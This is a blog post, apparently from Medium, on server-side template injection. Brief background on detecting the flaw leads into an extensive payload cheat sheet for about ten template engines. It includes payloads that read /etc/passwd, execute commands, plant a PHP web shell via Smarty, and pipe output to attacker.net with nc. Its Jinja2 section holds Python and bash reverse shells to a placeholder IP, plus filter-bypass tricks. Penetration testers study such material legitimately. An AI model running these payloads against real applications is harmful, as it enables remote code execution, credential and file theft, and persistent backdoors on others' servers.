Definition: Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection.

Pravinrp
Pravinrp
Jul 30 · 6 min read

We will be able to run remote code execution via server side template injection attack. Below report from hackerone inspired me to learn about this latest attack.

https://hackerone.com/reports/125980

Now, the bug has been fixed. However, the way the author has implemented his creativity is amazing. He has injected {{‘7’*7}} in place of username and has identified that the template engine has created “7777777” in result. This is how he got to know that the template engine was vulnerable for an injection attack.

Web applications frequently use template systems such as Twig and FreeMarker to embed dynamic content in web pages and emails. Template Injection occurs when user input is embedded in a template in an unsafe manner. Consider a marketing application that sends bulk emails, and uses a Twig template to greet recipients by name. If the name is merely passed in to the template, as in the following example, everything works fine:

$output = $twig->render(“Dear {first_name},”, array(“first_name” =>$user.first_name) );

However, if users are allowed to customize these emails, problems arise:

$output = $twig->render($_GET['custom_email'], array("first_name" => $user.first_name) );

In this example the user controls the content of the template itself via the “custom_email” GET parameter, rather than a value passed into it.

If we provide the “custom_email” value as {{7*7}} and the application is vulnerable, then we will be getting the output as follows.

Output:

Dear 49,

Note: 49 has been replaced in “username” place which confirms the server side template injection attack

Template injection attack can be achieved by identifying the template engine and customizing the payload accordingly. Template injection can also arise by accident when user input is simply concatenated directly into a template.

Identify:

When the user input is allowed without filtering then there is a chance for any sort of injection attack. Here, as shown in the example user input is allowed for making an e-mail template.

Code: personal_greeting=username

Input: user1

Output: Hello user1, We wish you all the best.

Note: if we feed in {{7*7}} in place of a username, then “Hello 49” will be obtained in the result.

After detecting template injection, the next step is to identify the template engine in use. This step is sometimes as trivial as submitting invalid syntax, as template engines may identify themselves in the resulting error messages. However, this technique fails when error messages are suppressed, and isn’t well suited for automation. In some cases, a single payload can have multiple distinct success responses — for example, the probe {{7*’7'}} would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use.

Green arrow shows success,Red arrow shows failure

Now, we need to customize the payload based on what sort of template engine we are dealing with.

Now let us try to inject some codes in the application and see whether the application executes or not. Below example process the input {{7*7}} and produces the result 49 in output which confirms the code template code execution.

{{7*7}} gives 49 in the result

Now, we need to read any file system from the application for further exploitation.

This command will show /etc/passwd file in the output. In order to understand the command, we need to read below explanation as well.

The MRO in __mro__ stands for Method Resolution Order, and is defined here as, "a tuple of classes that are considered when looking for base classes during method resolution." The __mro__ attribute consists of the object's inheritance map in a tuple consisting of the class, its base, its base's base, and so on up to object (if using new-style classes). It is an attribute of each object's metaclass, but is a truly hidden attribute, as Python explicitly leaves it out of dir output (see Objects/object.c at line 1812) when conducting introspection.

The __subclasses__ attribute is defined here as a method that "keeps a list of weak references to its immediate subclasses." for each new-style class, and "returns a list of all those references still alive."

Greatly simplified, __mro__ allows us to go back up the tree of inherited objects in the current Python environment, and __subclasses__ lets us come back down. So what's the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type str, we can crawl up the inheritance tree to the root object class using __mro__, then crawl back down to every new-style object in the Python environment using __subclasses__. Yes, this gives us access to every class loaded in the current python environment

The first thing we want to do is select a new-style object to use for accessing the object base class. We can simply use '', a blank string, object type str. Then, we can use the __mro__ attribute to access the object's inherited classes. Inject {{ ''.__class__.__mro__ }} as a payload into the SSTI vulnerability. Since we want to go back to the root object class, we'll leverage an index of 2 to select the class type object. Now that we're at the root object, we can leverage the __subclasses__ attribute to dump all of the classes used in the application. Inject {{ ''.__class__.__mro__[2].__subclasses__() }} into the SSTI vulnerability.

‘’.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read() }}

Note: Subclass 40 is to read a file.

/etc/passwd file content displayed

Ruby

Basic injection

<%= 7 * 7 %>

Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

List files and directories

<%= Dir.entries('/') %>

Java

Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Retrieve the system’s environment variables

${T(java.lang.System).getenv()}

Retrieve /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Twig

Basic injection

{{7*7}}
{{7*'7'}} would result in 49

Template format

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Code execution

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Smarty

{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Freemarker

You can try your payloads at https://try.freemarker.apache.org

Basic injection

The template can be ${3*3} or the legacy #{3*3}

Code execution

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Jade / Codepen

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

Velocity

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mako

<%
import os
x=os.popen('id').read()
%>
${x}

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Basic injection

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.

Template format

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

Dump all used classes

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Dump all config variables

{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

Read remote file

# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}

Write into remote file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Remote Code Execution

Listen for connection

nv -lnvp 8000

Exploit the SSTI by calling subprocess.Popen.

⚠️ the number 396 will vary depending of the application.

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

Exploit the SSTI by calling Popen without guessing the offset

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\" \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Exploit the SSTI by writing an evil config file.

# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Filter bypass

request.__class__
request["__class__"]

Bypassing _

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Jinjava

Basic injection

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developped by Hubspot, available at https://github.com/HubSpot/jinjava/

Command execution

Fixed by https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Pravinrp

Written by

Pravinrp

Offensive Certified Security Professional/Security geek & researcher(Application/infrastructure/Mobile/Red Team security)

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade